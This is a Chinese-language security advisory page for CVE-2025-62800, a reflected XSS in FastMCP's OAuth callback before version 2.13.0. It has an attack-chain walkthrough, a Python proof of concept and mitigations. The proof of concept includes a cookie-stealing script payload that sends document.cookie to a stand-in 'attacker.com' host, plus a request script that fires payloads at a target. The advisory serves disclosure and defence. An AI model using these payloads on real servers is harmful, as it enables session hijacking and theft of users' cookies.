IPBUF安全漏洞报告
English
CVE-2025-62800 CVSS 6.1 中危

CVE-2025-62800 FastMCP OAuth回调页面反射型XSS漏洞

披露日期: 2025-10-28

漏洞信息

漏洞编号
CVE-2025-62800
漏洞类型
反射型XSS
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
FastMCP

相关标签

XSS反射型XSSFastMCPOAuth跨站脚本CVE-2025-62800MCP框架Web安全

漏洞概述

CVE-2025-62800是FastMCP框架中的一个反射型跨站脚本(XSS)漏洞。FastMCP是用于构建MCP(Model Context Protocol)应用程序的标准框架。该漏洞存在于OAuth客户端回调页面(oauth_callback.py)中,攻击者可以利用此漏洞在回调服务器源上执行任意JavaScript代码。漏洞的根本原因是在生成HTML时,未对用户控制的值进行适当的转义或过滤,直接将用户输入插入到页面中。攻击者只需诱导目标用户访问特制的回调URL,即可窃取用户的会话Cookie、劫持用户会话、进行钓鱼攻击或执行其他恶意操作。由于OAuth回调参数通常包含用户可控的数据,因此攻击者可以轻松构造包含恶意脚本的URL。该漏洞影响FastMCP 2.13.0之前的所有版本,建议受影响的用户立即升级到修复版本。

技术细节

该漏洞是典型的反射型XSS(Cross-Site Scripting)漏洞,存在于FastMCP的OAuth回调处理逻辑中。具体来说,当用户通过OAuth进行身份验证时,回调URL中的参数(如state、code等)会被传递给oauth_callback.py页面。问题在于这些参数值被直接插入到返回的HTML响应中,而没有进行HTML实体编码或转义处理。攻击者可以在回调URL中构造恶意脚本,例如在state参数中注入<script>alert(document.cookie)</script>。当受害者访问这个特制的URL时,恶意脚本会在受害者浏览器的上下文中执行,从而实现窃取敏感信息的目的。由于OAuth回调通常在认证流程中自动触发,攻击者可以通过社会工程学手段诱导用户点击恶意链接,或者在第三方站点嵌入恶意链接。该漏洞的CVSS评分为6.1,属于中等严重程度,主要影响机密性和完整性,攻击复杂度较低但需要用户交互。

攻击链分析

STEP 1
步骤1
攻击者识别目标系统中运行的FastMCP版本(<2.13.0),确认OAuth回调端点存在
STEP 2
步骤2
攻击者构造包含恶意JavaScript代码的OAuth回调URL,在state或其他回调参数中注入XSS payload
STEP 3
步骤3
攻击者通过钓鱼邮件、恶意网站或社交工程手段诱导目标用户访问特制的回调URL
STEP 4
步骤4
用户浏览器访问恶意URL后,OAuth回调页面将未过滤的用户输入作为HTML响应的一部分返回
STEP 5
步骤5
用户的浏览器执行嵌入的恶意JavaScript代码,攻击者成功窃取用户的会话Cookie、劫持账户或执行其他恶意操作

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # CVE-2025-62800 PoC - FastMCP OAuth Callback XSS # Target: FastMCP < 2.13.0 def generate_xss_payload(): """ Generate malicious OAuth callback URL with XSS payload """ # Basic XSS payload to steal cookies xss_payload = '<script>fetch("https://attacker.com/steal?cookie="+document.cookie)</script>' # URL encode the payload for use in callback URL callback_url = f"http://target-server/oauth/callback?state={xss_payload}&code=legitimate_code" return callback_url def exploit(target_url, payload): """ Send malicious callback request to trigger XSS """ malicious_url = f"{target_url}/oauth/callback?state={payload}&code=test_code" print(f"[*] Sending malicious request to: {malicious_url}") response = requests.get(malicious_url, allow_redirects=False) print(f"[*] Response Status: {response.status_code}") if payload in response.text: print("[!] Vulnerability confirmed - XSS payload reflected without sanitization") return True else: print("[*] Payload not found in response") return False if __name__ == "__main__": target = "http://vulnerable-fastmcp-server:8000" payload = '<script>alert(document.domain)</script>' exploit(target, payload)

影响范围

FastMCP < 2.13.0

防御指南

临时缓解措施
在安装官方修复版本之前,可以临时采取以下措施:1)禁用或限制OAuth回调功能的使用;2)在Web应用防火墙(WAF)中添加XSS防护规则,拦截包含<script>标签的请求;3)对所有回调参数实施严格的输入验证;4)配置严格的内容安全策略(CSP)头部防止内联脚本执行;5)监控OAuth回调端点的异常访问日志。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表